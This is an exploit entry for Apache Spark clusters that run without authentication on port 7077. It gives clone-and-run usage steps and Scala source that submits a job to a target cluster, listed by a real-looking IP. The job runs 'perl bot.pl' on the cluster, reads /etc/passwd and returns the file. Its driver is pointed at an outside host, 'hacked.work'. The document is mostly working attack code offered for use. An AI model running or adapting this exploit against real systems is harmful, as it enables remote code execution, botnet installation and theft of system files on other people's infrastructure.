Description:
# Spark clusters which are not secured with proper firewall can be taken over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitrary codes over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on port 7077) add that host to your
# hosts list so that your system will recognize it (here its spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary codes that you want to execute.
Usage info:
git clone https://github.com/akhld/spark-exploit.git
cd spark-exploit
#Place the vuln host info in the file
vim exploit.scala
sbt run
import org.apache.spark.{SparkContext, SparkConf}
object Exploit {
def main(arg: Array[String]) {
val sconf = new SparkConf()
.setAppName("Exploit")
.set("spark.cores.max", "12")
.set("spark.executor.memory", "10g")
.set("spark.driver.host","hacked.work")
val sc = new SparkContext(sconf)
sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
val exploit = sc.parallelize(1 to 1).map(x=>{
val y = "perl bot.pl".!
scala.io.Source.fromFile("/etc/passwd").mkString
})
exploit.collect().foreach(println)
}
}
